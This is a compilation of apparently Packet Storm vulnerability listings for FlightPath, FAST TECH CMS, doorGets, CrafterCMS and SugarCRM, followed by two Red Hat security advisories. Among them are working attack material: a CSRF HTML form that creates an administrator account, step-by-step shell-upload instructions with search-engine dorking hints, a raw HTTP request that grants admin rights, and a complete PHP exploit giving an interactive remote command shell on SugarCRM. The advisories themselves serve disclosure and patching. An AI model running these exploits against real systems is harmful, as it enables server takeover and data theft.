FlightPath LMS version 5.0-rc2 suffers from an insecure direct object reference vulnerability.

    ====================================================================================================================================| # Title     : FlightPath LMS v5.0-rc2 Insecure Direct Object Reference Vulnerability                                             || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 68.0(32-bit)                                               || # Vendor    : http://getflightpath.com                                                                                           |  | # Dork      : R.I.P                                                                                                              |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] suffers from an insecure direct object reference vulnerability that allows an unauthorized administrative access.[+] Use payload : /tools/course-search/[+] http://127.0.0.1/getflightpathcom/sites/getflightpath/demo/4x/flightpath/tools/course-searchGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

FlightPath LMS 5.0-rc2 Insecure Direct Object Reference

FAST TECH CMS version 1.0 suffers from a cross site request forgery vulnerability.

====================================================================================================================================  
| # Title     : FAST TECH CMS v1.0 CSRF Vulnerability                                                                              |  
| # Author    : indoushka                                                                                                          |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 73.0.1(32-bit)                                             |   
| # Vendor    : http://www.fasttechtechnologies.in/                                                                                |    
| # Dork      : Designed & Developed by FAST TECH TECHNOLOGIES SERVICES PVT LTD . All rights reserved.                             |  
====================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code create a new admin .

[+] Go to the line 5.

[+] Set the target site link Save changes and apply . 

[+] infected file : /admin/add_new_user.php

[+] save code as poc.html .

<!DOCTYPE html>  
<html xmlns="http://www.w3.org/1999/xhtml">  
<head profile="http://www.w3.org/2005/10/profile">  
<script data-ad-client="ca-pub-6966557515756083" async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>  
<form action="https://127.0.0.1/repairthikanacom/admin/add_new_user.php" method="post" name="newuserform" enctype="multipart/form-data">  
              <div class="form-group">  
          <label>Name</label>  
                    <input type="text" class="form-control" id="name" name="name" placeholder="Enter Name ..." required>  
              </div>  
              <div class="form-group">  
          <label>User Name</label>  
                    <input type="text" class="form-control" id="username" name="username" placeholder="Enter User  Name ..." required>  
              </div>

                             <div class="form-group">  
          <label>Password</label>  
                    <input type="password" class="form-control" id="password" name="password" placeholder="Enter Password ..." required>  
              </div>

                                           <div class="form-group">  
          <label>Confirm Password</label>  
                    <input type="password" class="form-control" id="confirmpassword" name="confirmpassword" placeholder="Enter Confirm Password ..." required>  
              </div>

                                        <div class="form-group">  
                    <label>User Type</label>  
                    <select class="form-control" id="usertype" name="usertype" required>  
                      <option>Select Type</option>  
                      <option value="A">Administrator</option>  
                      <option value="R">Retail</option>

                                          </select>  
             </div>

                           <div class="form-group">  
          <label>Email-Id</label>  
                    <input type="text" class="form-control" id="emailid" name="emailid" placeholder="Enter Email-Id ..." required>  
              </div>

                            <div class="box-footer">  
                <button type="submit" class="btn btn-primary" name="submit">Submit</button>  
              </div>  
            </form>  
            </div>

                      </div>

Greetings to :=========================================================================================================================  
jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |  
=======================================================================================================================================

FAST TECH CMS 1.0 Cross Site Request Forgery

doorGets CMS version 12 suffers from a remote shell upload vulnerability.

====================================================================================================================================  
| # Title     : doorGets CMS v12 Unrestricted File Upload Vulnerability                                                            |  
| # Author    : indoushka                                                                                                          |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit)                                               |   
| # Vendor    : https://doorgets.io/t/en/                                                                                          |    
| # Dork      : "Powered with doorGets ™"                                                                                          |  
====================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Register new user . http://127.0.0.1/bestwayschoolcom/dg-user/en/?controller=authentification&action=register

[+] Confirmation link in the email.

[+] After login go to manage your profile http://127.0.0.1/elimu7com/eXplored/dg-user/en/?controller=account 

[+] From paramaters Choose an HTML editor ( editor tinymce ) & press Save .

[+] Creat new Blog http://target_site/eXplored/dg-user/en/?controller=moduleblog&uri=blog&action=add

[+] insert your Ev!l .php2 .html .svg ...

[+] http://target_site/fileman/Uploads/

Greetings to :=========================================================================================================================  
jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |  
=======================================================================================================================================

doorGets CMS 12 Shell Upload

CrafterCMS versions 4.0.2 and below suffer from multiple cross site scripting vulnerabilities.

    ---------------------------------------------------------------------------CrafterCMS <= 4.0.2 Multiple Reflected Cross-Site Scripting Vulnerabilities---------------------------------------------------------------------------[-] Software Link:https://craftercms.org[-] Affected Versions:Version 4.0.2 and prior versions.Version 3.1.27 and prior versions.[-] Vulnerabilities Description:There are multiple Reflected Cross-Site Scripting vulnerabilities affecting CrafterCMS.The vulnerabilities exist in every API endpoint that reflect some input parameter anddo produce XML responses. Following are some examples:• /api/1/site/url/transform - url and transformerName parameters are affected• /api/1/site/content_store/children - url parameter is affected• /api/1/site/content_store/item - url parameter is affected[-] Solution:Upgrade to version 4.0.3, 3.1.28, or later.[-] Disclosure Timeline:[22/11/2022] - Vendor notified[24/03/2023] - Fixed versions released[03/08/2023] - CVE number assigned[23/08/2023] - Publication of this advisory[-] CVE Reference:The Common Vulnerabilities and Exposures project (cve.mitre.org)has assigned the name CVE-2023-4136 to these vulnerabilities.[-] Credits:Vulnerabilities discovered by Egidio Romano, working with IMQ Minded Security.[-] Original Advisory:https://karmainsecurity.com/KIS-2023-09[-] Other References:https://docs.craftercms.org/en/4.1/security/advisory.html#cv-2023080301

CrafterCMS 4.0.2 Cross Site Scripting

SugarCRM versions 12.2.0 and below suffer from multiple remote SQL injection vulnerabilities.

----------------------------------------------------  
SugarCRM <= 12.2.0 Two SQL Injection Vulnerabilities  
----------------------------------------------------

[-] Software Link:

https://www.sugarcrm.com

[-] Affected Versions:

Version 12.2.0 and prior versions.  
Version 12.0.2 and prior versions.  
Version 11.0.5 and prior versions.

[-] Vulnerabilities Description:

1) User input passed through the “metrics” parameter to the   
“/Forecasts/metrics”  
REST API endpoint is not properly sanitized before being used to   
construct a SQL  
query. This can be exploited by malicious users to e.g. read sensitive   
data from  
the database through in-band SQL Injection attacks.

2) User input passed through the “placeholder_fields” parameter to the   
e.g.  
“/Notes/{recordID}/link/history” REST API endpoint is not properly   
sanitized before  
being used to construct a SQL query. This can be exploited by malicious   
users to  
e.g. read sensitive data from the database through in-band SQL Injection   
attacks.

[-] Proof of Concept:

https://karmainsecurity.com/pocs/CVE-2023-35811_1.php  
https://karmainsecurity.com/pocs/CVE-2023-35811_2.php

[-] Solution:

Upgrade to version 12.3.0, 12.0.3, 11.0.6, or later.

[-] Disclosure Timeline:

[14/02/2023] - Vendor notified  
[12/04/2023] - Fixed versions released  
[17/06/2023] - CVE number assigned  
[23/08/2023] - Publication of this advisory

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)  
has assigned the name CVE-2023-35811 to these vulnerabilities.

[-] Credits:

Vulnerabilities discovered by Egidio Romano.

[-] Original Advisory:

https://karmainsecurity.com/KIS-2023-08

[-] Other References:

https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-008/

SugarCRM 12.2.0 SQL Injection

SugarCRM versions 12.2.0 and below suffer from a PHP object injection vulnerability.

    -------------------------------------------------------------------------------SugarCRM <= 12.2.0 (Docusign_GlobalSettings) PHP Object Injection Vulnerability-------------------------------------------------------------------------------[-] Software Link:https://www.sugarcrm.com[-] Affected Versions:Version 12.2.0 and prior versions.Version 12.0.2 and prior versions.Version 11.0.5 and prior versions.[-] Vulnerability Description:There is a Second-Order PHP Object Injection vulnerability which might allow maliciousadmin users to execute arbitrary PHP code on the web server (RCE) by storing maliciousserialized objects into the database.The vulnerability can be triggered by invoking the "/DocuSign/getGlobalConfig" REST APIendpoint, which is using the unserialize() PHP function with the "Docusign_GlobalSettings"parameter. This can be exploited to inject arbitrary PHP objects into the applicationscope, allowing an attacker to perform a variety of attacks.[-] Proof of Concept:https://karmainsecurity.com/pocs/CVE-2023-35810.php[Packet Storm Note: see below][-] Solution:Upgrade to version 12.3.0, 12.0.3, 11.0.6, or later.[-] Disclosure Timeline:[14/02/2023] - Vendor notified[12/04/2023] - Fixed versions released[17/06/2023] - CVE number assigned[23/08/2023] - Publication of this advisory[-] CVE Reference:The Common Vulnerabilities and Exposures project (cve.mitre.org)has assigned the name CVE-2023-35810 to this vulnerability.[-] Credits:Vulnerability discovered by Egidio Romano.[-] Original Advisory:https://karmainsecurity.com/KIS-2023-07[-] Other References:https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-009/---- poc ----<?phpset_time_limit(0);error_reporting(E_ERROR);if (!extension_loaded("curl")) die("[-] cURL extension required!\n");if ($argc != 4) die("Usage: php $argv[0] <URL> <username> <password>\n");include("chain.php");function inject_pop_chain($cmd){  global $ch, $url;  $pop = new \Monolog\Handler\BufferHandler(["current", "system"], [$cmd, "level" => null]);  $pop = new \Monolog\Handler\SyslogUdpHandler($pop);  $pop = base64_encode(serialize($pop));  curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/Administration/config/Docusign");  curl_setopt($ch, CURLOPT_POSTFIELDS, '{"Docusign_GlobalSettings":"'.$pop.'"}');  curl_exec($ch);}list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];print "[+] Logging in with username '{$user}' and password '{$pass}'\n";$ch = curl_init();$params = ["username" => $user, "password" => $pass, "grant_type" => "password", "client_id" => "sugar"];curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/oauth2/token");curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params));curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);if (($token = (json_decode(curl_exec($ch)))->access_token) == null) die("[+] Login failed!\n");curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json", "OAuth-Token: {$token}"]);print "[+] Launching shell\n";while(1){  print "\nsugar-shell# ";  if (($cmd = trim(fgets(STDIN))) == "exit") break;  inject_pop_chain($cmd);  curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/DocuSign/getGlobalConfig");   curl_setopt($ch, CURLOPT_POST, false);  preg_match("/(.+)/s", curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");}// cleaningcurl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/Administration/config/Docusign");curl_setopt($ch, CURLOPT_POSTFIELDS, '{"Docusign_GlobalSettings":""}');curl_exec($ch);

SugarCRM 12.2.0 PHP Object Injection

SugarCRM versions 12.2.0 suffer from a bean manipulation vulnerability that can allow for privilege escalation.

    ------------------------------------------------------------------------SugarCRM <= 12.2.0 (updateGeocodeStatus) Bean Manipulation Vulnerability------------------------------------------------------------------------[-] Software Link:https://www.sugarcrm.com[-] Affected Versions:Version 12.2.0 and prior versions.Version 12.0.2 and prior versions.Version 11.0.5 and prior versions.[-] Vulnerability Description:The vulnerability is exploitable through the "/maps/updateGeocodeStatus" REST APIendpoint. This might allow a malicious user to modify arbitrary Sugar Beans, and thatcould lead to a variety of security impacts, such as Privilege Escalation attacks bysending an HTTP request like the following:POST /rest/v11_17/maps/updateGeocodeStatus HTTP/1.1Host: sugarcrm_websiteContent-Type: application/jsonOAuth-Token: d4cd573b-3b24-44ae-8eab-6d3b525f7974Content-Length: 96Connection: close{"id":"[USER_ID]","module":"Users","fieldName":"is_admin","status":1}[-] Solution:Upgrade to version 12.3.0, 12.0.3, 11.0.6, or later.[-] Disclosure Timeline:[14/02/2023] - Vendor notified[12/04/2023] - Fixed versions released[17/06/2023] - CVE number assigned[23/08/2023] - Publication of this advisory[-] CVE Reference:The Common Vulnerabilities and Exposures project (cve.mitre.org)has assigned the name CVE-2023-35809 to this vulnerability.[-] Credits:Vulnerability discovered by Egidio Romano.[-] Original Advisory:http://karmainsecurity.com/KIS-2023-06[-] Other References:https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-007/

SugarCRM 12.2.0 Bean Manipulation

SugarCRM versions 12.2.0 and below suffers from a multiple step remote shell upload vulnerability.

    -----------------------------------------------------------------SugarCRM <= 12.2.0 (Notes) Unrestricted File Upload Vulnerability-----------------------------------------------------------------[-] Software Link:https://www.sugarcrm.com[-] Affected Versions:Version 12.2.0 and prior versions.Version 12.0.2 and prior versions.Version 11.0.5 and prior versions.[-] Vulnerability Description:When handling the "save" action within the "Notes" module the application allows uploadingof any kind of file into the /upload/ directory. This one is protected by the main SugarCRM.htaccess file, i.e. it doesn't allow access/execution for PHP files. However, this behaviourcan be overridden if a subdirectory contains another .htaccess file. So, an attacker canleverage the vulnerability to firstly upload a new .htaccess file and then to upload thePHP code they want to execute.[-] Proof of Concept:https://karmainsecurity.com/pocs/CVE-2023-35808.php[-] Solution:Upgrade to version 12.3.0, 12.0.3, 11.0.6, or later.[-] Disclosure Timeline:[14/02/2023] - Vendor notified[12/04/2023] - Fixed versions released[17/06/2023] - CVE number assigned[23/08/2023] - Publication of this advisory[-] CVE Reference:The Common Vulnerabilities and Exposures project (cve.mitre.org)has assigned the name CVE-2023-35808 to this vulnerability.[-] Credits:Vulnerability discovered by Egidio Romano.[-] Original Advisory:http://karmainsecurity.com/KIS-2023-05[-] Other References:https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-006/

SugarCRM 12.2.0 Shell Upload

Red Hat Security Advisory 2023-4657-01 - Secondary Scheduler Operator for Red Hat OpenShift 1.1.2. Issues addressed include a denial of service vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Moderate: Secondary Scheduler Operator for Red Hat OpenShift 1.1.2 security update  
Advisory ID:       RHSA-2023:4657-01  
Product:           OSSO  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4657  
Issue date:        2023-08-23  
CVE Names:         CVE-2020-24736 CVE-2022-36227 CVE-2023-1667  
                   CVE-2023-2283 CVE-2023-24532 CVE-2023-24534  
                   CVE-2023-24536 CVE-2023-24537 CVE-2023-24538  
                   CVE-2023-24539 CVE-2023-26604 CVE-2023-27535  
                   CVE-2023-29400  
====================================================================  
1. Summary:

Secondary Scheduler Operator for Red Hat OpenShift 1.1.2

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Description:

Secondary Scheduler Operator for Red Hat OpenShift 1.1.2

Security Fix(es):

* golang: crypto/internal/nistec: specific unreduced P-256 scalars produce  
incorrect results (CVE-2023-24532)

* golang: net/http, net/textproto: denial of service from excessive memory  
allocation (CVE-2023-24534)

* golang: net/http, net/textproto, mime/multipart: denial of service from  
excessive resource consumption (CVE-2023-24536)

* golang: go/parser: Infinite loop in parsing (CVE-2023-24537)

* golang: html/template: backticks not treated as string delimiters  
(CVE-2023-24538)

* golang: html/template: improper sanitization of CSS values  
(CVE-2023-24539)

* golang: html/template: improper handling of empty HTML attributes  
(CVE-2023-29400)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

3. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

4. Bugs fixed (https://bugzilla.redhat.com/):

2184481 - CVE-2023-24538 golang: html/template: backticks not treated as string delimiters  
2184482 - CVE-2023-24536 golang: net/http, net/textproto, mime/multipart: denial of service from excessive resource consumption  
2184483 - CVE-2023-24534 golang: net/http, net/textproto: denial of service from excessive memory allocation  
2184484 - CVE-2023-24537 golang: go/parser: Infinite loop in parsing  
2196026 - CVE-2023-24539 golang: html/template: improper sanitization of CSS values  
2196029 - CVE-2023-29400 golang: html/template: improper handling of empty HTML attributes  
2223355 - CVE-2023-24532 golang: crypto/internal/nistec: specific unreduced P-256 scalars produce incorrect results

5. JIRA issues fixed (https://issues.redhat.com/):

WRKLDS-793 - New OSSO 1.1.2 release

6. References:

https://access.redhat.com/security/cve/CVE-2020-24736  
https://access.redhat.com/security/cve/CVE-2022-36227  
https://access.redhat.com/security/cve/CVE-2023-1667  
https://access.redhat.com/security/cve/CVE-2023-2283  
https://access.redhat.com/security/cve/CVE-2023-24532  
https://access.redhat.com/security/cve/CVE-2023-24534  
https://access.redhat.com/security/cve/CVE-2023-24536  
https://access.redhat.com/security/cve/CVE-2023-24537  
https://access.redhat.com/security/cve/CVE-2023-24538  
https://access.redhat.com/security/cve/CVE-2023-24539  
https://access.redhat.com/security/cve/CVE-2023-26604  
https://access.redhat.com/security/cve/CVE-2023-27535  
https://access.redhat.com/security/cve/CVE-2023-29400  
https://access.redhat.com/security/updates/classification/#moderate

7. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJk5WynAAoJENzjgjWX9erEmR4QAJ5n2XzBLEgoPyYkKLsw7pIJ  
Cy2mmZeuS4SjQekEDKHQhFStEEv/5meeN8bb5t7K7DJNMSr9LLIkYQmvXgj2b322  
LrDl56UaBOnxFUqBzONVQtHJdGJ+8Z5DuO9sudwObeKeb5EWIVpaSU0QDwIJbO7+  
v2DvqA4GBOg9SRx/2QphQjcfPzSGMhNSL/b4YcWnMbU+xZGzgNdshI5V4hD/0sV8  
T8RFsPyx0EpBFcM3OsasBqzqDUVGAmyONx36+rkjVkh2Mtjw/iwtUQ5SQaasC3bv  
UhLO6Z7tKd9mS0PmVm6f/Z1gmNfGeritzPgHbsPP42bhX0lsh3Dt6PO/Ft4RX+oz  
433owpTVTwxEcffNFdUUhHsB8qhiSthmIgJ4AH+0WEe4RyHspSjUwCMnxZfn3T+x  
DAKQP8Lgsj1X6qd4FScFYQ7YulURTVyHJ8qQii6Dnkh3BBjPbMmiTwW8qxAbYQLD  
uBRNcDblFxcbZyjgl4lx0blRpjoKw3RFSTEUuYvfNKSi2XtM32ghKgmu5ECiwkjr  
08ME466J3QM1uaSJK9woIvfT3BDGz8teWHJtsl8thL+xadnZdz6X8qcy2YIcW4/i  
7EwUB0yQ6/x24gJ6T+IbCLIuwfUWOkKQFP2aFyav8Rbvqqxj3eVH4qK9jsw7Q1V2  
pRhgrEM60gxGU/ObtSou  
=cO9Y  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4657-01

Red Hat Security Advisory 2023-4706-01 - The subscription-manager packages provide programs and libraries to allow users to manage subscriptions and yum repositories from the Red Hat entitlement platform.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: subscription-manager security update  
Advisory ID:       RHSA-2023:4706-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4706  
Issue date:        2023-08-22  
CVE Names:         CVE-2023-3899  
====================================================================  
1. Summary:

An update for subscription-manager is now available for Red Hat Enterprise  
Linux 8.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 8) - aarch64, ppc64le, s390x, x86_64  
Red Hat Enterprise Linux BaseOS (v. 8) - aarch64, noarch, ppc64le, s390x, x86_64

3. Description:

The subscription-manager packages provide programs and libraries to allow  
users to manage subscriptions and yum repositories from the Red Hat  
entitlement platform.

Security Fix(es):

* subscription-manager: inadequate authorization of com.redhat.RHSM1 D-Bus  
interface allows local users to modify configuration (CVE-2023-3899)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

5. Bugs fixed (https://bugzilla.redhat.com/):

2225407 - CVE-2023-3899 subscription-manager: inadequate authorization of com.redhat.RHSM1 D-Bus interface allows local users to modify configuration

6. Package List:

Red Hat Enterprise Linux AppStream (v. 8):

aarch64:  
dnf-plugin-subscription-manager-debuginfo-1.28.36-3.el8_8.aarch64.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.36-3.el8_8.aarch64.rpm  
rhsm-gtk-1.28.36-3.el8_8.aarch64.rpm  
subscription-manager-debuginfo-1.28.36-3.el8_8.aarch64.rpm  
subscription-manager-debugsource-1.28.36-3.el8_8.aarch64.rpm  
subscription-manager-initial-setup-addon-1.28.36-3.el8_8.aarch64.rpm  
subscription-manager-migration-1.28.36-3.el8_8.aarch64.rpm

ppc64le:  
dnf-plugin-subscription-manager-debuginfo-1.28.36-3.el8_8.ppc64le.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.36-3.el8_8.ppc64le.rpm  
rhsm-gtk-1.28.36-3.el8_8.ppc64le.rpm  
subscription-manager-debuginfo-1.28.36-3.el8_8.ppc64le.rpm  
subscription-manager-debugsource-1.28.36-3.el8_8.ppc64le.rpm  
subscription-manager-initial-setup-addon-1.28.36-3.el8_8.ppc64le.rpm  
subscription-manager-migration-1.28.36-3.el8_8.ppc64le.rpm

s390x:  
dnf-plugin-subscription-manager-debuginfo-1.28.36-3.el8_8.s390x.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.36-3.el8_8.s390x.rpm  
rhsm-gtk-1.28.36-3.el8_8.s390x.rpm  
subscription-manager-debuginfo-1.28.36-3.el8_8.s390x.rpm  
subscription-manager-debugsource-1.28.36-3.el8_8.s390x.rpm  
subscription-manager-initial-setup-addon-1.28.36-3.el8_8.s390x.rpm  
subscription-manager-migration-1.28.36-3.el8_8.s390x.rpm

x86_64:  
dnf-plugin-subscription-manager-debuginfo-1.28.36-3.el8_8.x86_64.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.36-3.el8_8.x86_64.rpm  
rhsm-gtk-1.28.36-3.el8_8.x86_64.rpm  
subscription-manager-debuginfo-1.28.36-3.el8_8.x86_64.rpm  
subscription-manager-debugsource-1.28.36-3.el8_8.x86_64.rpm  
subscription-manager-initial-setup-addon-1.28.36-3.el8_8.x86_64.rpm  
subscription-manager-migration-1.28.36-3.el8_8.x86_64.rpm

Red Hat Enterprise Linux BaseOS (v. 8):

Source:  
subscription-manager-1.28.36-3.el8_8.src.rpm

aarch64:  
dnf-plugin-subscription-manager-1.28.36-3.el8_8.aarch64.rpm  
dnf-plugin-subscription-manager-debuginfo-1.28.36-3.el8_8.aarch64.rpm  
python3-cloud-what-1.28.36-3.el8_8.aarch64.rpm  
python3-subscription-manager-rhsm-1.28.36-3.el8_8.aarch64.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.36-3.el8_8.aarch64.rpm  
python3-syspurpose-1.28.36-3.el8_8.aarch64.rpm  
subscription-manager-1.28.36-3.el8_8.aarch64.rpm  
subscription-manager-debuginfo-1.28.36-3.el8_8.aarch64.rpm  
subscription-manager-debugsource-1.28.36-3.el8_8.aarch64.rpm  
subscription-manager-plugin-ostree-1.28.36-3.el8_8.aarch64.rpm  
subscription-manager-rhsm-certificates-1.28.36-3.el8_8.aarch64.rpm

noarch:  
rhsm-icons-1.28.36-3.el8_8.noarch.rpm  
subscription-manager-cockpit-1.28.36-3.el8_8.noarch.rpm

ppc64le:  
dnf-plugin-subscription-manager-1.28.36-3.el8_8.ppc64le.rpm  
dnf-plugin-subscription-manager-debuginfo-1.28.36-3.el8_8.ppc64le.rpm  
python3-cloud-what-1.28.36-3.el8_8.ppc64le.rpm  
python3-subscription-manager-rhsm-1.28.36-3.el8_8.ppc64le.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.36-3.el8_8.ppc64le.rpm  
python3-syspurpose-1.28.36-3.el8_8.ppc64le.rpm  
subscription-manager-1.28.36-3.el8_8.ppc64le.rpm  
subscription-manager-debuginfo-1.28.36-3.el8_8.ppc64le.rpm  
subscription-manager-debugsource-1.28.36-3.el8_8.ppc64le.rpm  
subscription-manager-plugin-ostree-1.28.36-3.el8_8.ppc64le.rpm  
subscription-manager-rhsm-certificates-1.28.36-3.el8_8.ppc64le.rpm

s390x:  
dnf-plugin-subscription-manager-1.28.36-3.el8_8.s390x.rpm  
dnf-plugin-subscription-manager-debuginfo-1.28.36-3.el8_8.s390x.rpm  
python3-cloud-what-1.28.36-3.el8_8.s390x.rpm  
python3-subscription-manager-rhsm-1.28.36-3.el8_8.s390x.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.36-3.el8_8.s390x.rpm  
python3-syspurpose-1.28.36-3.el8_8.s390x.rpm  
subscription-manager-1.28.36-3.el8_8.s390x.rpm  
subscription-manager-debuginfo-1.28.36-3.el8_8.s390x.rpm  
subscription-manager-debugsource-1.28.36-3.el8_8.s390x.rpm  
subscription-manager-plugin-ostree-1.28.36-3.el8_8.s390x.rpm  
subscription-manager-rhsm-certificates-1.28.36-3.el8_8.s390x.rpm

x86_64:  
dnf-plugin-subscription-manager-1.28.36-3.el8_8.x86_64.rpm  
dnf-plugin-subscription-manager-debuginfo-1.28.36-3.el8_8.x86_64.rpm  
python3-cloud-what-1.28.36-3.el8_8.x86_64.rpm  
python3-subscription-manager-rhsm-1.28.36-3.el8_8.x86_64.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.36-3.el8_8.x86_64.rpm  
python3-syspurpose-1.28.36-3.el8_8.x86_64.rpm  
subscription-manager-1.28.36-3.el8_8.x86_64.rpm  
subscription-manager-debuginfo-1.28.36-3.el8_8.x86_64.rpm  
subscription-manager-debugsource-1.28.36-3.el8_8.x86_64.rpm  
subscription-manager-plugin-ostree-1.28.36-3.el8_8.x86_64.rpm  
subscription-manager-rhsm-certificates-1.28.36-3.el8_8.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2023-3899  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJk5RhpAAoJENzjgjWX9erERQEP/Ru/BPo3Y/bFAfm1oid/H4Ub  
xOhSXABuI/PWfgGbGyvkZFEs2ZGgu2ec0KcGhlI0ztd+GOKat/Dqc4ryoSbTiPdu  
+VEVFtFUEGPV5alhvWuplpLpkg3fCSNviu8479JhxfndAcGzm1VPv2ahHjDMJFWc  
bDkbW8knSJJo3ZMySjZHg1TPA+heDS/ytRBZYzUGxSQnvYW0BFRjDbdM6aXD4wNH  
gPzNdQUKvvmx0J/0+1ex8tHgr2pkt+6+YE6onG00f+E3bDHfMfZG8vJ3XLUtna3r  
SQNRyxft+3HFb0MdxMBye01W0fjMTWqpEa5Rb0dQ3YOQoPW872w7nHWXU3xZGEQV  
yS5qGpJic3WAHNwvukAoNH5ryXD4cn9eW80bFx5938abrhfAPi2D/PWPz2rwZXpq  
vJ+lKXiupKj1ADt9v7EW8R4/ES96VWJctB0jGMmu/mjOQdTDNrYXdEvmJB4fplHI  
gz5EIKS/8Rq0+J87sDWrti9TLe7+j/oep9Ory6oHQTVet7iE8NAFrcX9Nj/qy5oU  
Su3iPcqESrxab67+aE9WV/EQjfzzyhAc7L8W9s1KyLDdje9zLABNP4MRGznMWsV3  
dWVo2rOjVS8avTGYTyq9ozEGlt8Il+ZDQq/GiO+NXkVbiAWyCneVXdbJGjtEbVwr  
xctzv2rMyvs8lEqXZPpP  
=s73g  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce